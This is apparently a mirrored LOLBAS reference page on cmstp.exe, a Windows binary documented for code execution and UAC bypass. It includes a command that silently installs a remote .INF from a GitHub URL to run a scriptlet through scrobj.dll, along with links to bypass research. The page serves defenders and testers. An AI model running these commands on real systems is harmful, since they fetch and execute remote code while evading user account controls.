mirror of
				https://github.com/LOLBAS-Project/LOLBAS
				synced 2025-11-03 18:19:25 +01:00 
			
		
		
		
	
		
			
				
	
	
	
		
			1.2 KiB
		
	
	
	
	
	
	
	
			
		
		
	
	
			1.2 KiB
		
	
	
	
	
	
	
	
Cmstp.exe
- Functions: Execute, UACBypass
 
cmstp.exe /ni /s c:\cmstp\CorpVPN.inf
Silently installs a specially formatted local .INF without creating a desktop icon. The .INF file contains a UnRegisterOCXSection section which executes a .SCT file using scrobj.dll.
cmstp.exe /ni /s https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Cmstp.inf
Silently installs a specially formatted remote .INF without creating a desktop icon. The .INF file contains a UnRegisterOCXSection section which executes a .SCT file using scrobj.dll.
- 
Resources:
- https://twitter.com/NickTyrer/status/958450014111633408
 - https://gist.github.com/NickTyrer/bbd10d20a5bb78f64a9d13f399ea0f80
 - https://gist.github.com/api0cradle/cf36fd40fa991c3a6f7755d1810cc61e
 - https://oddvar.moe/2017/08/15/research-on-cmstp-exe/
 3127ba7453/UACBypassCMSTP.ps1(UAC Bypass)- https://github.com/hfiref0x/UACME
 
 - 
Full path:
- C:\Windows\system32\cmstp.exe
 - C:\Windows\sysWOW64\cmstp.exe
 
 - 
Notes: Thanks to Oddvar Moe - @oddvarmoe, Nick Tyrer - @NickTyrer